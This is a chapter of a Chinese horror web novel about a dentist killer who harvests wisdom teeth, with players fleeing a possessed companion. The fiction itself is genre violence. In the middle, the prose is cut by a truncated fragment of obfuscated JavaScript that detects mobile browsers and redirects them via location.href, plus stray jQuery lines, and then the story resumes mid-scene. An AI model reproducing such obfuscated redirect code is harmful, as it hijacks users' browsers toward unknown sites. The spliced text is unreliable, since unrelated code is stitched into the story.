146. 08德州杀人狂的智齿

作品:《小红花诡屋[无限]

    这位杀人狂医生停顿,手指停在罐子标签上。


    “但时间不够了。我能感觉到。疼痛在……扩散。从牙齿,到牙龈,到颌骨,到整个头。像有虫子在啃我的脑髓,我必须快点再快点。”


    他的另一只手抬起来,按在自己的左脸颊上。用力按压,指节发白。


    “他们不明白。他们以为疼痛是惩罚。是折磨,我是个善良的人,我怎么可能这么做呢。”


    他转身,背靠柜子,慢慢滑坐在地上。白大褂的下摆摊开,像一朵凋谢的花。


    “疼痛是清洁。是燃烧。是把脏东西烧掉的过程。”


    他抬起头,看着天花板。荧光灯的光落在他脸上,让他的皮肤看起来像蜡像。


    “父亲明白。但他太急了。他想一次烧掉所有脏东西,结果烧坏了容器。”


    索耶闭上眼睛。


    “我得慢慢来。一天一个。用七天,完成净化。然后……”


    他睁开眼睛,眼神突然变得锐利。


    “然后我就能休息了。疼痛会停止。一切都会……安静下来。”


    他站起来,动作有些摇晃。走到牙医椅旁,看着那个麻袋。


    “今晚是第二个。该选谁呢?”


    他蹲下,从麻袋里拿出那把园艺铲。铲子的刃口沾着泥土和暗红色的东西。他用拇指抹过刃口,然后舔了舔拇指。


    “那个女孩。”他低声说,“黄……羽翎。她的牙齿很干净。太干净了。干净的牙齿最容易藏病灶。它们不疼,所以你以为它们健康。但病灶在深处,在你看不见的地方。”


    他站起来,把铲子放在器械台上。


    “明天晚上。黄羽翎。”


    说完这句话,索耶突然捂住脸。他的肩膀开始颤抖。


    一开始黄羽翎以为他在笑,但很快她听到了声音——


    他在哭。


    不是嚎啕大哭,是压抑的、从喉咙深处挤出来的呜咽。像受伤的动物。


    “对不起。”他对着空气说,声音破碎,“对不起,父亲。我还是……太软弱了。我还是会疼。我还是想……停下来。”


    哭泣持续了大约一分钟。然后他深吸一口气,用袖子狠狠擦脸。再抬起头时,表情又恢复了那种空洞的平静。


    他关掉灯,走出诊疗室。


    前门打开,又关上。钥匙转动,锁死。


    脚步声远去,消失在街道的寂静中。


    柜子后面,三个人又等了两分钟,确认没有任何声音后,周笔灰才点燃蜡烛。


    烛光下,三个人的脸都苍白如纸。


    “他明天晚上选我。”黄羽翎说。她的声音很平静,平静得让她自己都感到意外。


    “我们不会让他得逞。”周笔灰说。他走到柜子前,踮起脚,取下那个装着黑色牙齿的玻璃罐。


    罐子比想象中沉,溶液在玻璃后面微微晃动,那颗黑色的牙齿像有生命一样缓缓旋转。


    “这是关键,如果让我来设计一个设计一个鬼屋的破局,我觉得这个就是关键。”周笔灰把罐子小心地装进随身带来的布袋里,“他的‘起源’。他的第一颗病灶牙。如果我们能毁了它——”


    “应该不会这么简单吧……我想也许可以利用它。”叶温缇说。她走到窗边,确认外面安全,“如果这颗牙代表他的疼痛源头,也许我们可以……让它更疼。”


    “怎么让一颗泡在福尔马林里的牙更疼?”黄羽翎问。


    周笔灰看着罐子里的牙齿:“不是牙齿本身。是他对这颗牙的……执念。这是他的圣物。他的图腾。这个医生是有文化的,肯定注重什么象征意义,所以我想如果我们拿走它,破坏它,展示给他看——”


    他停住了。


    诊疗室的门无声地开了。


    不是被推开的。是慢慢滑开的,像有一只看不见的手在拉。


    门外站着一个人。


    不,不是站。是倚在门框上。


    朱志明。


    他的脸色白得像纸,嘴唇发紫。左脸颊包扎的纱布已经被血浸透,暗红色的血渍正在慢慢扩大。他的眼睛半睁着,瞳孔涣散,但死死盯着周笔灰手里的布袋。


    “牙……”朱志明说。他的声音嘶哑,像砂纸摩擦,“给我……”


    “老朱?”周笔灰上前一步,“你怎么——”


    “给我!”朱志明突然尖叫。那声音不像人类,像野兽垂死的嚎叫。他扑过来,动作快得不合理,完全不像一个刚被拔了牙、失血过多的人。


    周笔灰侧身躲开。


    朱志明扑空,摔在地上,但立刻爬起来,再次扑向布袋。


    这次叶温缇拦住了他。她抓住朱志明的手臂,想把他按倒,但朱志明的力气大得惊人。


    他反手一挥,叶温缇被甩出去,撞在器械台上,工具哗啦散落一地。


    “他不对劲!他好像变异了?还是被上身了?”黄羽翎喊道。


    周笔灰看到了。


    朱志明的眼睛瞳孔完全扩散了,眼白部分布满了细密的血丝。但他的眼神……不是疯狂,是某种更可怕的东西。


    是空洞,是彻底的、绝对的服从。


    “牙……”朱志明转向周笔灰,嘴角咧开,露出一个扭曲的笑,“医生要……牙……给我……”


    他再次扑来。


    周笔灰这次没有躲。他迎上去,用肩膀撞开朱志明,同时把布袋扔给黄羽翎:“走!从后窗走!”


    黄羽翎接住布袋。罐子在袋子里晃动,她能感觉到那颗牙齿在撞击玻璃,一下,又一下地跳。


    朱志明被撞倒,但立刻又爬起来。


    他的动作已经完全没有人类的协调性,像提线木偶,关节以奇怪的角度弯曲。他不再说话,只是喉咙里发出咯咯的声音,眼睛死死盯着黄羽翎手里的布袋。


    “他被控制了。”叶温缇从地上爬起来,手里抓着一把拔牙钳,“索耶在他身上留了东西。”


    周笔灰想起规则里的话:“如果七天内集齐七颗不同的智齿……”


    “不是集齐。”他低声说,“是回收。他拔掉我们的牙,那些牙就成了他的……工具。他可以控制被拔牙的人,对,我怎么先没有想到。”


    朱志明又动了,这次他直接冲向黄羽翎。


    黄羽翎转身就跑,冲向候诊室。


    朱志明在后面追,脚步声沉重而凌乱。


    周笔灰和叶温缇追上去。


    在候诊室,黄羽翎已经爬上了窗台,但朱志明抓住了她的脚踝。


    “放开!”黄羽翎踢他,但朱志明的手像铁钳。他的指甲抠进她的皮肉,血渗出来。


    叶温缇冲过来,用拔牙钳砸在朱志明的手臂上。


    骨头断裂的声音清晰可闻,但朱志明没有松手。他甚至没有表现出疼痛。他只是抬起头,用那双空洞的眼睛看着叶温缇,然后张开嘴巴、


    他的牙齿在变化。


    不是被拔掉的那颗智齿的位置,是其他的牙齿。前排的门牙开始变长,变尖,边缘出现锯齿状的裂痕。


    牙龈萎缩,露出更多的牙根,那些牙根是黑色的,像烧焦的木头。


    “他真的在……变异。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407601|177457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >周笔灰的声音里第一次出现了真正的恐惧。


    朱志明松开了黄羽翎的脚踝,他站起来,身体开始膨胀。不是变大,是某种内在的肿胀。皮肤下的血管凸起,变成深紫色。


    他的关节发出噼啪的爆裂声,每一次爆裂,身体就扭曲一分。


    他转向周笔灰,张开嘴。


    喉咙深处,有什么东西在蠕动。


    周笔灰看到了。在朱志明的喉咙里,在扁桃体的位置,有一颗牙齿。一颗新生的、尖锐的、带着血丝的牙齿。它在生长,从肉里钻出来,像一颗倒置的钉子。


    “走!”周笔灰对黄羽翎吼道,“现在!”


    黄羽翎跳出窗户。


    叶温缇紧随其后。


    周笔灰最后看了一眼朱志明——不,那已经不是朱志明了。那是一个被牙齿填满的、正在崩解的容器。


    然后他也跳出窗户,落地,翻滚,爬起来。


    “跑!”他喊道。


    三个人在枯死的灌木丛中狂奔。


    身后,诊所里传来玻璃破碎的声音,家具被砸烂的声音,还有……笑声。


    汉克·索耶的笑声。


    不是从诊所里传来的,是从四面八方传来的。从小镇的每一个角落,每一栋房子,每一扇窗户后面。


    那笑声低沉、沙哑,充满了满足。


    “第一个。”索耶的声音在夜空中回荡,像广播,“第一个完成了。”


    他们跑回旅馆所在的街道。远远地,他们看到旅馆二楼的窗户亮着烛光。


    但窗户是破的。


    玻璃碎片散落在楼下的人行道上。窗框歪斜,像被什么东西从里面撞开了。


    周笔灰的心沉了下去。


    他们冲进旅馆,冲上楼梯。房间的门大开着。


    里面一片狼藉。


    床被掀翻,桌子碎裂,墙纸被撕下大块。地板上到处都是血——喷溅状的、拖拽状的、还有一滩滩的积血。


    龙琴书倒在墙角,她的脖子以一个不自然的角度扭曲着,眼睛睁着,看着天花板,瞳孔已经扩散。


    郑琳达和顾辉不见了。


    窗户大开着,夜风吹进来,吹动龙琴书额前的碎发。


    周笔灰跪下来,伸手合上她的眼睛,他的手在颤抖。


    叶温缇走到窗边,往下看,街道空无一人。但地上有一道拖痕,从旅馆门口一直延伸到黑暗深处。


    “他们被带走了。”她说。


    黄羽翎靠着门框,慢慢滑坐在地上。她抱着那个装着黑色牙齿的布袋,抱得很紧。


    她的智齿在疼。


    从未有过的疼。


    疼痛中,她看到重影:她看到龙琴书最后的时刻——不是被朱志明攻击,是被郑琳达和顾辉。他们的眼睛和朱志明一样空洞,他们的牙齿也在变化。他们一左一右抓住龙琴书,把她拖向窗户。龙琴书在挣扎,在喊,但她的声音被某种东西吞没了。然后她的脖子被扭断,像折断一根树枝。


    重影消失。


    黄羽翎睁开眼睛,眼泪无声地流下来。


    “我们好像吧规则理解错了。”周笔灰站起来,他的声音冰冷,“不是‘如果拒绝就诊,全镇居民会成为猎杀者’。”


    他走到窗边,看着外面死寂的小镇。


    “是‘就诊之后,被拔牙的人会成为猎杀者’。”


    远处,教堂的钟敲响了。


    凌晨四点。


    离天亮还有两个小时。


    离第二个夜晚,还有十六个小时。


    而他们只剩下三个人了。